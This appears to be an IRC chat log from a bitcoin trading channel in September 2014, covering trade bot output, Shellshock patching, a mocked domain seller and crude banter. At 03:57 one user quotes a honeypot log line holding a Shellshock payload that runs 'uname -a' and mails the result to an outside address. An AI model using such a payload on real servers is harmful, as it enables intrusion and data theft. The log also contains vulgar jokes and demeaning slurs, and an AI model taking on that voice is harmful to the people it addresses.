00:00 |
BingoBoingo |
;;ud peg |
00:00 |
gribble |
http://www.urbandictionary.com/define.php?term=peg | Dude 1: your such a peg, u said you didnt revise lol. by Frank MacE January 06, 2010. 377 189. Merch. 3. peg. For a woman to bugger a man with a strap-on. |
00:01 |
cazalla |
it's like super rake for poker |
00:01 |
decimation |
implication of peg to usd: they have some usd to trade |
00:03 |
ben_vulpes |
mircea_popescu: edulcorously? |
00:10 |
mats_cd03 |
sounds like a good scam |
00:12 |
ben_vulpes |
<decimation> gov't pays for such 'research', most of which is pointless: http://www.sbir.gov/ << people say: "do this!" and I say "what innovation? we duct tape thinger a to tab b and make clients happy." they do not understand, and i cannot enlighten them without calling into question that which they value themselves upon. |
00:12 |
assbot |
SBIR.gov |
00:13 |
asciilifeform |
decimation: 'maclisp' had nothing whatsoever to do with apple. |
00:13 |
asciilifeform |
decimation: mit 'project mac' |
00:18 |
decimation |
ah I see. apparently symbolics later marketed a card to install in apple stuff though |
00:19 |
asciilifeform |
'macivory'. |
00:23 |
asciilifeform |
https://www.youtube.com/watch?v=PrcGkLtNsY0 |
00:23 |
assbot |
servo-string - YouTube |
00:23 |
asciilifeform |
(unrelated) |
00:27 |
decimation |
heh he should put some 'vibrato' on that |
00:33 |
decimation |
in other news, slightly less than everybody is going to university in the us these days: http://census.gov/newsroom/press-releases/2014/cb14-177.html |
00:34 |
assbot |
College Enrollment Declines for Second Year in a Row |
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00:49 |
penguirker |
New blog post: http://contravex.com/2014/09/25/we-gon-party-like-its-19-hold-up-it-is/ |
00:52 |
BingoBoingo |
http://www.hulu.com/watch/691075#i0,p241,d0 |
00:52 |
assbot |
Watch South Park Online - Go Fund Yourself | Hulu |
00:53 |
mircea_popescu |
<decimation> in other news, slightly less than everybody is going to university in the us these days: << bwahahaha |
00:53 |
mircea_popescu |
should be "slightly more" |
00:54 |
asciilifeform |
this doesn't even tough upon the very special chumpatronic clients who are admitted, to flounder about in 7+ years of too-precious-to-flunk limbo. |
00:54 |
asciilifeform |
*touch upon |
00:57 |
mircea_popescu |
hm |
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01:15 |
pete_dushenski |
was it 6 months that ver was donating millions? now, 1/1000 that. mircea_popescu was right, dood is broke: https://twitter.com/rogerkver/status/515344889807003649 |
01:15 |
assbot |
I just donated $1K to the Global Learning XPRIZE because governments indoctrinate more than they educate. http://t.co/nkWMXwFR3R /Indiegogo |
01:25 |
pete_dushenski |
https://www.youtube.com/watch?v=orzhba2dV1A << nov 30, 2013 |
01:25 |
assbot |
Bitcoin: $1,000,000 Bet Final Update! - YouTube |
01:25 |
pete_dushenski |
how time flies! |
01:30 |
pete_dushenski |
;;bc,stats |
01:30 |
gribble |
Current Blocks: 322607 | Current Difficulty: 3.466142592397694E10 | Next Difficulty At Block: 324575 | Next Difficulty In: 1968 blocks | Next Difficulty In About: 1 week, 5 days, 7 hours, 12 minutes, and 0 seconds | Next Difficulty Estimate: 36061315489.5 | Estimated Percent Change: 4.03875 |
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01:50 |
assbot |
[HAVELOCK] [HASH] 629 @ 0.0014 = 0.8806 BTC [-] |
01:56 |
pete_dushenski |
http://imgur.com/G94f2bD |
01:56 |
assbot |
imgur: the simple image sharer |
01:58 |
pete_dushenski |
you've got derpy media writing a derpy article about a derpy politician with the absolute derpiest of ads. |
01:59 |
pete_dushenski |
how does that much lulz fit in one little screen cap? |
02:04 |
pete_dushenski |
the dreams beckon. |
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02:31 |
BingoBoingo |
!up Shakespeare |
02:35 |
kuzetsa |
CVE-2014-3631, CVE-2014-6271, and CVE-2014-7169 patched, full system-wide stack smashing protection (via GCC 4.9.1 -- had to recompile every last binary package with the new GCC with the appropriate flags enabled) and a few other nice things done... yay! |
02:36 |
assbot |
[MPEX] [S.MPOE] 2853 @ 0.00075417 = 2.1516 BTC [+] |
02:41 |
xmj |
kuzetsa: did you secure your systems against the vuln in nss too? |
02:43 |
kuzetsa |
xmj: that vulnerability is not present on my system |
02:43 |
kuzetsa |
I haven't got anything using RSA in production at this time |
02:43 |
kuzetsa |
well... I mean my GPG key for authing with gribble is an RSA key but other than that |
02:43 |
kuzetsa |
and that isn't on the server, that's on my laptop |
02:44 |
xmj |
kuzetsa: that's one way to secure your systems, "yes" would've sufficed |
02:44 |
xmj |
:] |
02:44 |
xmj |
kuzetsa: hopefully your RSA key uses OpenSSH |
02:51 |
kuzetsa |
xmj: my PGP (GPG) key was generated using openssh, yeah |
02:51 |
xmj |
what |
02:52 |
xmj |
i did mean 'openssh' instead of 'nss |
02:52 |
xmj |
' |
02:52 |
kuzetsa |
hmm |
02:52 |
kuzetsa |
I meant openssl not openssh |
02:52 |
xmj |
hum how does one create pgp keys with openSSL ? |
02:53 |
kuzetsa |
gpg --gen-key |
02:54 |
kuzetsa |
and then when you select RSA it's done via openssl |
02:55 |
xmj |
oh |
02:55 |
xmj |
didn't know that one, thanks! |
02:58 |
kuzetsa |
oh |
02:58 |
kuzetsa |
crap |
02:58 |
kuzetsa |
I just audited and apparently I made an assumption which is not true |
02:58 |
kuzetsa |
gnupg uses libgcrypt for the RSA key generation :( |
03:00 |
xmj |
kuzetsa: even openssL would be Bad. |
03:00 |
kuzetsa |
realy? why? |
03:00 |
kuzetsa |
what's wrong with using openssl to generate RSA keys? |
03:00 |
xmj |
libressL or openssH? good. openssL? bad. |
03:00 |
xmj |
because it's full of bugs and other otherwise legacy crap http://opensslrampage.com/ |
03:01 |
* |
kuzetsa glares at http://ww2.qfind.net/?__jsfail |
03:02 |
kuzetsa |
xmj: what did yoyu just try to link me anyway? |
03:02 |
kuzetsa |
it's got obfuscated redirectors and suspicious javascript in it |
03:02 |
xmj |
3http://opensslrampage.org/ |
03:03 |
xmj |
silly hackers not buying .com .net and .org at once, i wanted .org |
03:03 |
kuzetsa |
oooh |
03:03 |
kuzetsa |
so it was a domain squatter using the .com when the actual site is on .org... interesting |
03:04 |
kuzetsa |
I'm glad I didn't have a system policy which let that suspicious code run |
03:04 |
kuzetsa |
default allow for javascript is such failsauce |
03:04 |
xmj |
you mean, openssl? |
03:06 |
* |
kuzetsa makes a funny face emoji thiner IRL :/ |
03:06 |
kuzetsa |
opensslrampage appears to be someone's blog who posts nothing but links to random-ass commits to the libressl repo |
03:07 |
kuzetsa |
it actually looks so shitty I think it might even be an automated thing done by a rather unimaginatve bot |
03:10 |
BingoBoingo |
Is that really a bad thing kuzetsa |
03:11 |
assbot |
[MPEX] [S.MPOE] 41700 @ 0.00075607 = 31.5281 BTC [+] {6} |
03:11 |
BingoBoingo |
!up pollos_gringos |
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03:57 |
Naphex |
lol [26/Sep/2014:00:18:37 +0300] "GET / HTTP/1.1" 200 27100 "() { :; }; uname -a | mail -s 6775 ufquy@grandmamail.com" "curl/7.37.1" "-" script kiddies be leveling up:) |
03:58 |
xmj |
nice! |
04:00 |
Naphex |
for all that panic with bash not too many exploits hitting |
04:00 |
Naphex |
mostly just checks |
04:00 |
Naphex |
got like 10 hits, on 5 random honeypots |
04:00 |
Naphex |
all web checks |
04:00 |
|
Bet placed: 1 BTC for No on "Bitcoin to remain at or above $400 for two months" http://bitbet.us/bet/1051/ Odds: 23(Y):77(N) by coin, 23(Y):77(N) by weight. Total bet: 6.74150004 BTC. Current weight: 95,068. |
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04:24 |
assbot |
[MPEX] [S.MPOE] 20400 @ 0.00075682 = 15.4391 BTC [+] {2} |
04:24 |
assbot |
[HAVELOCK] [PETA] 1423 @ 0.00058381 = 0.8308 BTC [-] {6} |
04:25 |
assbot |
[HAVELOCK] [PETA] 1043 @ 0.00057499 = 0.5997 BTC [-] {3} |
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04:46 |
assbot |
[MPEX] [S.MPOE] 39962 @ 0.00075478 = 30.1625 BTC [-] {2} |
05:00 |
assbot |
[MPEX] [S.MPOE] 6700 @ 0.00075375 = 5.0501 BTC [-] |
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05:54 |
davout |
hello assets |
05:58 |
assbot |
[MPEX] [S.MPOE] 21500 @ 0.00075326 = 16.1951 BTC [-] {2} |
05:58 |
dub |
bonjour |
06:04 |
RagnarDanneskjol |
http://bleacherreport.com/articles/2209929-buying-or-selling-every-top-10-team-as-playoff-championship-contender |
06:04 |
assbot |
Buying or Selling Every Top 10 Team as Playoff Championship Contender | Bleacher Report |
06:10 |
assbot |
[HAVELOCK] [RENT] 129 @ 0.0075 = 0.9675 BTC [+] |
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07:00 |
assbot |
[MPEX] [S.MPOE] 23000 @ 0.00075133 = 17.2806 BTC [-] |
07:07 |
RagnarDanneskjol |
http://hackaday.com/2014/09/26/thp-semifinalist-nsa-away/ |
07:07 |
assbot |
THP Semifinalist: NSA Away |
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07:29 |
assbot |
[MPEX] [S.MPOE] 37000 @ 0.0007547 = 27.9239 BTC [+] {3} |
07:43 |
|
Bet placed: 1 BTC for Yes on "Bitcoin to drop under $350 before November" http://bitbet.us/bet/1034/ Odds: 37(Y):63(N) by coin, 37(Y):63(N) by weight. Total bet: 38.26575605 BTC. Current weight: 35,432. |
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08:02 |
assbot |
[MPEX] [S.MPOE] 8500 @ 0.00075367 = 6.4062 BTC [-] |
08:09 |
assbot |
[MPEX] [S.MPOE] 12700 @ 0.00075133 = 9.5419 BTC [-] |
08:23 |
assbot |
[HAVELOCK] [AM1] 5 @ 0.145 = 0.725 BTC [+] |
08:24 |
assbot |
[MPEX] [S.MPOE] 27705 @ 0.00075053 = 20.7934 BTC [-] {2} |
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08:44 |
assbot |
[MPEX] [S.MPOE] 12750 @ 0.00074867 = 9.5455 BTC [-] |
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09:03 |
kakobrekla |
;;tslb |
09:03 |
gribble |
Time since last block: 52 minutes and 56 seconds |
09:14 |
assbot |
[MPEX] [S.MPOE] 25200 @ 0.00074864 = 18.8657 BTC [-] {2} |
09:16 |
punkman |
http://i.imgur.com/F6TjkpK.jpg |
09:20 |
RagnarDanneskjol |
ha |
09:22 |
punkman |
look |
09:22 |
punkman |
oops |
09:24 |
punkman |
interesting stuff http://versu.com/about/how-versu-works/ |
09:24 |
assbot |
How Versu works | Versu |
09:30 |
RagnarDanneskjol |
hmm |
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09:55 |
assbot |
[HAVELOCK] [PETA] 3257 @ 0.00060535 = 1.9716 BTC [+] {5} |
09:55 |
chetty |
http://www.lewrockwell.com/2014/09/murray-n-rothbard/why-the-power-elite-loves-equality/ |
09:55 |
assbot |
Why the Power Elite Loves Equality – LewRockwell.com |
10:01 |
assbot |
[MPEX] [S.MPOE] 7317 @ 0.00075242 = 5.5055 BTC [+] |
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10:21 |
assbot |
[HAVELOCK] [AM1] 5 @ 0.145 = 0.725 BTC [+] |
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10:52 |
assbot |
[MPEX] [S.MPOE] 33650 @ 0.00075228 = 25.3142 BTC [-] |
11:01 |
assbot |
[HAVELOCK] [PETA] 1399 @ 0.00057 = 0.7974 BTC [-] {3} |
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11:21 |
assbot |
[MPEX] [S.MPOE] 36219 @ 0.00075285 = 27.2675 BTC [+] {2} |
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~ 18 minutes ~ |
11:39 |
asciilifeform |
RagnarDanneskjol: 'nsa away' << very sad. reading, see kids have almost correct idea (synched write of avalanche noise to two flash cards, etc) and then see - the plaintext is eaten up and shat out of 'android' phones... |
11:49 |
RagnarDanneskjol |
yes. i thought you'd appreciate the attempt |
11:56 |
assbot |
[HAVELOCK] [B.MINE] 62 @ 0.01099999 = 0.682 BTC [-] {4} |
12:00 |
assbot |
[HAVELOCK] [PETA] [PAID] 2.64497240 BTC to 1`149`988 shares, 230 satoshi per share |
12:02 |
punkman |
"It’s an impressive bit of work, especially in the RNG department." "This part of the build isn’t quite working yet" |
12:03 |
assbot |
[HAVELOCK] [SCRYPT] [PAID] 2.19430852 BTC to 29`438 shares, 7454 satoshi per share |
12:05 |
assbot |
[HAVELOCK] [B.MINE] [PAID] 1.09513638 BTC to 15`097 shares, 7254 satoshi per share |
12:06 |
assbot |
[HAVELOCK] [B.SELL] [PAID] 20.33158281 BTC to 15`097 shares, 134673 satoshi per share |
12:08 |
punkman |
asciilifeform: I'm looking for something like the Inform7 beast but with more Lisp. Where does one look for Lisp libraries and such? |
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12:35 |
asciilifeform |
punkman: 'ZIL' (not to be confused with the soviet car) |
12:35 |
asciilifeform |
punkman: by infocom |
12:37 |
assbot |
[MPEX] [S.MPOE] 36440 @ 0.00075178 = 27.3949 BTC [-] {3} |
12:38 |
mircea_popescu |
so how goes everything this fine morning ? |
12:38 |
chetty |
http://phys.org/news/2014-09-black-holes.html |
12:38 |
assbot |
Researcher shows that black holes do not exist |
12:40 |
asciilifeform |
http://log.bitcoin-assets.com/?date=26-09-2014#845694 << lenat intro for those who missed |
12:40 |
assbot |
Logged on 26-09-2014 03:11:57; asciilifeform: there are two versions of the lenat story |
12:40 |
mircea_popescu |
i recall this black hole thing yest |
12:42 |
asciilifeform |
punkman: for libraries, http://www.cliki.net |
12:42 |
assbot |
CLiki: index |
12:45 |
asciilifeform |
https://en.wikipedia.org/wiki/Talk:Eurisko << mega-lol |
12:45 |
assbot |
Talk:Eurisko - Wikipedia, the free encyclopedia |
12:47 |
asciilifeform |
mircea_popescu: think millikan's experiment is a clusterfuck? in computer 'science', folks like lenat are schoolbook-famous for experiment that not only have not but cannot be replicated with available data. |
12:47 |
mod6 |
%ob |
12:47 |
atcbot |
45k@282 20k@273 7k@266 | 59k@198 6k@194 12k@190 |
12:47 |
mircea_popescu |
im famous among a group of [girl]friends for this one trip I took one of them for at some point, that was never documented or repeated. |
12:48 |
mircea_popescu |
nothing wrong with that, people allowed their own intimacy. |
12:48 |
mircea_popescu |
course, it takes extra strength adolescent retardation to imagine it makes any sort of "science" |
12:48 |
asciilifeform |
mircea_popescu: intimacy - sure. but this one is in encyclopaedias, and fed to n00bs as actual data that has bearing on what is possible, worth doing, worth funding, etc. |
12:49 |
mircea_popescu |
but then again, the same sort of adolescent retardation is at work everywhere - what english speaker could hold his job if the artificial barriers were removed ? |
12:49 |
mircea_popescu |
who, of the singers are actually singers ? what businessman knows business ? etc. |
12:50 |
mircea_popescu |
the russian career criminals reportedly find the us, in spite of having the world's largest incarcerated population, doesn't even have good prisoners. |
12:50 |
asciilifeform |
famously. |
12:50 |
ben_vulpes |
what is a good prisoner? |
12:50 |
mircea_popescu |
course if you ask them, or if you watch their movies, they're total fucking experts. |
12:50 |
asciilifeform |
incidentally, it is because the prisons are run as a miniature copy of the entire empire |
12:50 |
mircea_popescu |
quite. |
12:51 |
mircea_popescu |
ben_vulpes hard to explain, in english. |
12:51 |
ben_vulpes |
the mind boggles at the thing mircea_popescu finds difficult to explain, in any language. |
12:51 |
mircea_popescu |
but if it helps, "russian career criminal" = вор |
12:51 |
mircea_popescu |
which sort-of reads like dop in romanian, which is a funny little word, meaning cork. |
12:52 |
asciilifeform |
i'll try. |
12:52 |
asciilifeform |
the american jailbirds have defective... понятия. |
12:52 |
asciilifeform |
see also http://log.bitcoin-assets.com/?date=12-09-2014#827009 |
12:52 |
assbot |
Logged on 12-09-2014 00:06:32; asciilifeform: mircea_popescu: 'Rinduieli' ~= (arabic) 'adat' ? |
12:53 |
mircea_popescu |
asciilifeform it's deeper. they lack both the mind structures that make it necessary and possible, as well as the capacity of observation and reason that make the process unavoidable. |
12:53 |
mircea_popescu |
they are, in short, retarded. |
12:53 |
xanthyos |
in a privatized prison system, a "good prisoner" is one who consumes the least amount of food |
12:53 |
asciilifeform |
mircea_popescu: orlov termed this 'homo sapiens lite' |
12:53 |
mircea_popescu |
xanthyos a good deer is not the one that eats least. |
12:53 |
mircea_popescu |
it's the one that most convincingly stotts, say. |
12:54 |
mircea_popescu |
asciilifeform im not sure of the homo sapiens relation. the women are made of flesh, so in that sense it passes, but i have little clue what the males are made of. |
12:54 |
mircea_popescu |
possibly mushroom meal. |
12:55 |
mircea_popescu |
!up myriadgetsmehard |
12:55 |
myriadgetsmehard |
haha didn't expect voice. good morning to all! |
12:55 |
mircea_popescu |
ello. who're you ? |
12:56 |
myriadgetsmehard |
i am john. i are engineer. i also came to maybe discuss some bitcoin assets of mine |
12:56 |
mircea_popescu |
go right ahead, you have half an hour. |
12:56 |
ben_vulpes |
the correct usage is 'r' |
12:56 |
myriadgetsmehard |
i'd gpg auth but i am on me work computer |
12:56 |
ben_vulpes |
:P |
12:56 |
myriadgetsmehard |
so i don't know how any of you feel about bitpremier |
12:56 |
mircea_popescu |
!s bitpremier |
12:57 |
assbot |
9 results for 'bitpremier' : http://search.bitcoin-assets.com/?q=bitpremier |
12:57 |
ben_vulpes |
;;ident myriadgetsmehard |
12:57 |
gribble |
Nick 'myriadgetsmehard', with hostmask 'myriadgetsmehard!~bonerKILL@68-190-212-206.dhcp.gldl.ca.charter.com', is not identified. |
12:57 |
ben_vulpes |
who would you auth as, myriadgetsmehard ? |
12:57 |
myriadgetsmehard |
jdanks |
12:58 |
myriadgetsmehard |
So the bastard at http://bitpremier.com/ won't list my BTC domains. I'm a little pissed to be honest |
12:58 |
assbot |
The Bitcoin Luxury Marketplace |
12:58 |
ben_vulpes |
what does listing your btc domains mean? |
12:58 |
ben_vulpes |
ah, you have domains for sale. |
12:58 |
ben_vulpes |
noyrly luxury items, those. |
12:58 |
myriadgetsmehard |
I am trying to sell http://btc.events I also have a .rentals .holiday and .pub and others |
12:58 |
assbot |
btc.events is almost here! |
12:59 |
assbot |
[MPEX] [S.MPOE] 15650 @ 0.00075021 = 11.7408 BTC [-] {2} |
12:59 |
ben_vulpes |
"BitPremier currently lists only the following: real estate, autos (listed at $50k USD or more), jewelry and watches (listed at $5k USD or more), home goods and travel (listed at $5k USD or more), handbags and accessories (listed at $5K USD or more)" |
12:59 |
mircea_popescu |
so why's he a bastard ? domains aren't worth jack. |
12:59 |
Duffer1 |
i thought bitpremier was a website for things that had value |
12:59 |
ben_vulpes |
case closed. |
12:59 |
lobbes |
;;ticker |
12:59 |
gribble |
Bitstamp BTCUSD ticker | Best bid: 402.83, Best ask: 403.99, Bid-ask spread: 1.16000, Last trade: 403.99, 24 hour volume: 9982.83562326, 24 hour low: 396.53, 24 hour high: 414.35, 24 hour vwap: 406.132999441 |
12:59 |
asciilifeform |
mention of 'handbag' -> spam |
12:59 |
mircea_popescu |
dude that bet... |
12:59 |
myriadgetsmehard |
mircea_popescu they only think .com's are valuable :/ |
12:59 |
asciilifeform |
almost ironclad rule. |
13:00 |
ben_vulpes |
asciilifeform: "luxury" anything -> spam ? |
13:00 |
mircea_popescu |
myriadgetsmehard i doubt they think even those are valuable. i definitely would think much less of any marketplace that purports to sell 2nd market domain names. |
13:00 |
myriadgetsmehard |
i beg to differ. i think all these new TLDs have value. So I am asking for $500k for http://btc.events and a few others. BitPremier takes 5% but I'll offer the room 20% to any who can get one sold |
13:00 |
assbot |
btc.events is almost here! |
13:01 |
myriadgetsmehard |
It's not up to them to decide what is a premium domain or not. I say it's up to the whole free market, which they won't let me be a part of, it's also not really free |
13:02 |
Duffer1 |
lmao |
13:02 |
myriadgetsmehard |
maybe i needa setup a gpg contract to get these sold for a commission. |
13:02 |
ben_vulpes |
myriadgetsmehard: put 'em in the OTC order book. |
13:02 |
myriadgetsmehard |
laugh if you want. i'm offering $100k in BTC to whoever can sell it. wil do ben_vulpes |
13:02 |
ben_vulpes |
that's the only free market with which you need concern yourself. |
13:02 |
myriadgetsmehard |
:) |
13:03 |
ben_vulpes |
to return to the previous topic of conversation: the incompetence of the prisoners implies incompetence of ratcatchers, non? |
13:03 |
asciilifeform |
myriadgetsmehard: pray tell, what is a 'ria' ? |
13:03 |
asciilifeform |
myriadgetsmehard: and why does yours get you hard |
13:03 |
mircea_popescu |
<myriadgetsmehard> It's not up to them to decide what is a premium domain or not. << because why, because it's up to you ? |
13:03 |
mircea_popescu |
have a glass o' water. |
13:03 |
ben_vulpes |
although i imagine the hardened russian finds the US street gang similarly incompetent. |
13:03 |
ben_vulpes |
asciilifeform: what's a "dget" ? |
13:03 |
mircea_popescu |
"i'm offering 100k in any currency to the salesman that sells this rock i found in the street for 500k" |
13:04 |
asciilifeform |
ben_vulpes: wouldntchalovetoknow |
13:04 |
mircea_popescu |
tyvm and stfu, you're offering 500k to the guy who does that, plus a little fee for allowing your pointless existence to be associated with his. |
13:04 |
mircea_popescu |
ben_vulpes ratcatchers << no. |
13:04 |
myriadgetsmehard |
bitcoins.com sold for how cheap? |
13:05 |
myriadgetsmehard |
asciilifeform there is no ria |
13:05 |
mircea_popescu |
if you were a hunter and moved to a difference cannuckistan, and all the moose you shot was the size of a chicken |
13:05 |
mircea_popescu |
you would NOT suspect it's your bullets that are the problem |
13:05 |
ben_vulpes |
i think it means he can stroke it to anything |
13:05 |
mircea_popescu |
myriadgetsmehard "random rock i found in street" != koh-i-noor |
13:05 |
mircea_popescu |
youi're doing this substitutive thinking thing wrong, it's amply discussed in the logs. |
13:06 |
ben_vulpes |
mircea_popescu: but the bullets are materially different. lathed shit, perhaps. |
13:06 |
asciilifeform |
ben_vulpes: we call those 'match grade' in usa |
13:06 |
mircea_popescu |
they do kill it, so the bullet story ends there. |
13:06 |
myriadgetsmehard |
So you don't think btc.events can make someone millions? |
13:07 |
ben_vulpes |
and also they only fly at 2kph |
13:07 |
ben_vulpes |
myriadgetsmehard: what is this, 90's domain bubble again? |
13:07 |
ben_vulpes |
'cause btc? |
13:07 |
asciilifeform |
'A SMURF listens to the Village for variable assignments. When a SMURF receives one, it makes the state transition and returns a list of inferences that must now hold. It is the responsibility of the Village to ensure that the inferences in the list become agreed upon by all Smurfs.' |
13:07 |
myriadgetsmehard |
ben_vulpes yes |
13:07 |
asciilifeform |
(actual u.s. nsa patent. https://www.google.com/patents/US7380224 ) |
13:07 |
assbot |
Patent US7380224 - Method and system for non-linear state based satisfiability - Google Patents |
13:07 |
ben_vulpes |
that's nonsensical. |
13:07 |
myriadgetsmehard |
new gTLDs are the shit man. too many new domains (.com seekers) are shit imo |
13:08 |
chetty |
sadly enough some vc funded tard might it, don{t mean it will actually make money/have value |
13:09 |
chetty |
*/might buy it |
13:09 |
ben_vulpes |
<myriadgetsmehard> new gTLDs are shit << ftfy |
13:09 |
myriadgetsmehard |
ben you are acting like the dinosaurs i get enough shit from man :) |
13:10 |
ben_vulpes |
!down myriadgetsmehard |
13:10 |
ben_vulpes |
add value or gtfo. |
13:10 |
ben_vulpes |
order book is over there. place orders and quit derping. |
13:12 |
asciilifeform |
https://www.google.com/search?tbm=pts&hl=en&q=national+security+agency << mega-lol-mine |
13:12 |
assbot |
national security agency - Google Search |
13:13 |
chetty |
https://pbs.twimg.com/media/BybM7KBCMAEVwGp.jpg |
13:15 |
asciilifeform |
patent US8414314 B1, 'Single-use USB port protector.' carry on, wunderwaffen, for victory. |
13:20 |
mircea_popescu |
lma |
13:24 |
asciilifeform |
https://www.google.com/patents/USD637658 |
13:24 |
assbot |
Patent USD637658 - Game board - Google Patents |
13:29 |
mats_cd03 |
13:00:59 <+myriadgetsmehard> i beg to differ. i think all these new TLDs have value. So I am asking for $500k for http://btc.events and a few others. BitPremier takes 5% but I'll offer the room 20% to any who can get one sold |
13:29 |
assbot |
btc.events is almost here! |
13:29 |
mats_cd03 |
13:01:49 <+myriadgetsmehard> It's not up to them to decide what is a premium domain or not. I say it's up to the whole free market, which they won't let me be a part of, it's also not really free |
13:29 |
mats_cd03 |
the nerve of some people |
13:29 |
punkman |
http://dealbook.nytimes.com/2014/09/25/marc-andreessen-sounds-warning-on-start-ups-burning-cash/ |
13:29 |
punkman |
yeah not like he's giving them piles of cash |
13:31 |
xmj |
... |
13:31 |
mats_cd03 |
the HN comments are worrying |
13:31 |
mats_cd03 |
some dummies with the 'oh its been goin on for a while now, nbd' ... |
13:31 |
ben_vulpes |
'this time is different' |
13:31 |
xmj |
thing is |
13:31 |
xmj |
what ben says |
13:31 |
xmj |
as soon as people start saying This Time Is Different |
13:32 |
xmj |
and start rationalizing/hamstering WHY |
13:32 |
mats_cd03 |
and then there's this, "I do agree valuations are artificially inflated, but before you start drawing parallels to 1999 and every financial bubble of years past remember there are companies with real revenue streams. Sure, there are the snapchat valuations which have no basis, but do uber, airbnb, dropbox, and the like not deserve billion dollar valuations?" |
13:32 |
asciilifeform |
hamstering !? |
13:32 |
* |
mats_cd03 facepalms |
13:32 |
xmj |
then its gonna be daaaaaaangerous not to be in a cashflow positive business |
13:32 |
asciilifeform |
as in, in arse ? |
13:32 |
ben_vulpes |
"arse hamster machine" |
13:32 |
xmj |
asciilifeform: hamstering as in rationalization hamster that runs in his wheel |
13:32 |
asciilifeform |
lol |
13:32 |
xmj |
ben_vulpes: go explain asciilifeform about that one please |
13:32 |
* |
asciilifeform though something slightly different |
13:32 |
xmj |
I DON'T WANNA. |
13:32 |
mats_cd03 |
"hamstering" is not something that has evar been a thing |
13:32 |
punkman |
what is a rationalization hamster? |
13:33 |
ben_vulpes |
no thanks. it's retarded pua shit. |
13:33 |
mats_cd03 |
you can't go and just coin your own things, man! |
13:33 |
* |
asciilifeform pictured the inquisitorial, then nazi, arse-rat-system |
13:33 |
xmj |
dont remember who coined it |
13:33 |
xmj |
asciilifeform: just 'cuz i'm german. |
13:33 |
kakobrekla |
mats_cd03 at this point you can coin your own coin. |
13:33 |
asciilifeform |
see also http://log.bitcoin-assets.com/?date=17-02-2014#511605 |
13:33 |
assbot |
Logged on 17-02-2014 19:11:41; asciilifeform: here, author is almost certainly satisfying his own desires: http://actualhistory.ru/app/var/pub/files/86/41776_image_large.jpg |
13:34 |
mats_cd03 |
anyway -- 'uber, airbnb' being companies that deserve bn USD valuations... apparently middle-men with no moats are incredibly valuable nao |
13:34 |
asciilifeform |
'rectomurine cryptoanalysis.' |
13:34 |
ben_vulpes |
i can see that backfiring, asciilifeform |
13:34 |
asciilifeform |
ben_vulpes: ? |
13:34 |
ben_vulpes |
what about the guy who's into that sort of wriggling around? |
13:34 |
ben_vulpes |
(also, bad puns on the rear end) |
13:35 |
asciilifeform |
ben_vulpes: is he also 'into' the rat emerging from other side? |
13:35 |
asciilifeform |
idea is, he tunnels through. |
13:35 |
xmj |
ahahaha |
13:35 |
ben_vulpes |
bleaugh |
13:36 |
xmj |
the idea of having a rat tunnel through on the rear end.. sounds BAD. |
13:36 |
kakobrekla |
theres another story where they just put the rat on your belly and cover it so it cant escape. what happens is an exercise to the alert reader. |
13:36 |
mats_cd03 |
is that soviet in origin asciilifeform? i noticed the idea first, in cult phenomenon Game of Thrones |
13:37 |
asciilifeform |
mats_cd03: at least 1000 years old. |
13:37 |
mats_cd03 |
makes sense. what am i thinking. |
13:38 |
ben_vulpes |
'abdominomurine etc' |
13:40 |
mircea_popescu |
<ben_vulpes> 'this time is different' << win. |
13:40 |
mircea_popescu |
<mats_cd03> but do uber, airbnb, dropbox, and the like not deserve billion dollar valuations?" <<< i agree that other people's shit stinks but isn't my doodoo all perfumed ?! |
13:41 |
ben_vulpes |
this consulting short isn't really that great of a short actually |
13:42 |
mircea_popescu |
<punkman> what is a rationalization hamster? << supposedly what women do when they've been rejected by a magical boy of magic, they go in a corner and worry and obsessively rethink the experience. |
13:42 |
mircea_popescu |
this is fundamentally different from what the boy in question does, on forums and while commuting. |
13:42 |
penguirker |
New blog post: https://www.bcoinnews.com/bfl-ftc/ |
13:42 |
mircea_popescu |
the whole charade's a sort of "fine when we do it, evil/bad/wrong when they do it" thing. |
13:42 |
mircea_popescu |
and i mean both for VCs and for PUAs, and come to think about it the difference is negligible. |
13:42 |
ben_vulpes |
sure, it guarantees cash in pocket instead of worthless paper when the music stops, but all i'm left with when the music stops is a company that makes software in competition with all the other shartup engineers. |
13:42 |
ben_vulpes |
and maybe some cash. |
13:43 |
ben_vulpes |
supply, demand... |
13:43 |
ben_vulpes |
<mircea_popescu> this is fundamentally different from what the boy in question does, on forums and while commuting. << pah yup |
13:43 |
mircea_popescu |
ben_vulpes> sure, it guarantees << duh. |
13:44 |
ben_vulpes |
nothing is guaranteed, okay fine. |
13:45 |
mircea_popescu |
the difference between the shorts we want our shorts to be and the shorts our shorts actually are is the one thing that sinks businesses. |
13:45 |
mircea_popescu |
the ONLY one thing. |
13:46 |
ben_vulpes |
the only leg i can see hedging are btc holdings |
13:47 |
assbot |
[HAVELOCK] [PETA] 1034 @ 0.00055513 = 0.574 BTC [-] {6} |
13:49 |
mats_cd03 |
http://queue.acm.org/detail.cfm?id=2673311 |
13:49 |
assbot |
Security Collapse in the HTTPS Market - ACM Queue |
13:49 |
mats_cd03 |
via /. |
13:49 |
ben_vulpes |
https://www.trustedsec.com/september-2014/shellshock-dhcp-rce-proof-concept/ |
13:49 |
assbot |
Shellshock DHCP RCE Proof of Concept - |
13:49 |
assbot |
[HAVELOCK] [PETA] 1850 @ 0.00054508 = 1.0084 BTC [-] {6} |
13:50 |
asciilifeform |
ben_vulpes: lol! |
13:52 |
ben_vulpes |
reel reel reel reel bad |
13:52 |
asciilifeform |
the mice, the mice. |
13:55 |
mircea_popescu |
o look. it's not that mpex didn't get hacked |
13:56 |
mircea_popescu |
it's that EVERYONE ELSE DID |
13:56 |
penguirker |
New blog post: http://trilema.com/2014/a-putea-putere/ |
13:56 |
mircea_popescu |
i suppose every single entity in online finance, from paypal to icbc will now come and leave a comment on trilema saying "sorry, we're fucking stupid, you're right" |
13:56 |
mircea_popescu |
because the world is fair and people rational. |
13:57 |
mircea_popescu |
not like they'll cary on derping about "ux" and how their shit is worth not just money, but billions of it. |
13:57 |
mircea_popescu |
a well. |
13:58 |
asciilifeform |
mircea_popescu: putere << it all works fine in ru. |
13:58 |
asciilifeform |
mircea_popescu: try it. |
13:58 |
mircea_popescu |
asciilifeform yeah. |
13:58 |
mircea_popescu |
http://log.bitcoin-assets.com/?date=08-12-2013#411896 |
13:58 |
assbot |
Logged on 08-12-2013 16:40:53; mircea_popescu: and the same princuople goes to the "devteam" retards implememnting pki |
13:59 |
mircea_popescu |
i seriously expect the entire world to now bow down to my superiority and explicitly recognise its inferiority, as a wholy owned, substantive characteristic of their own. |
13:59 |
mircea_popescu |
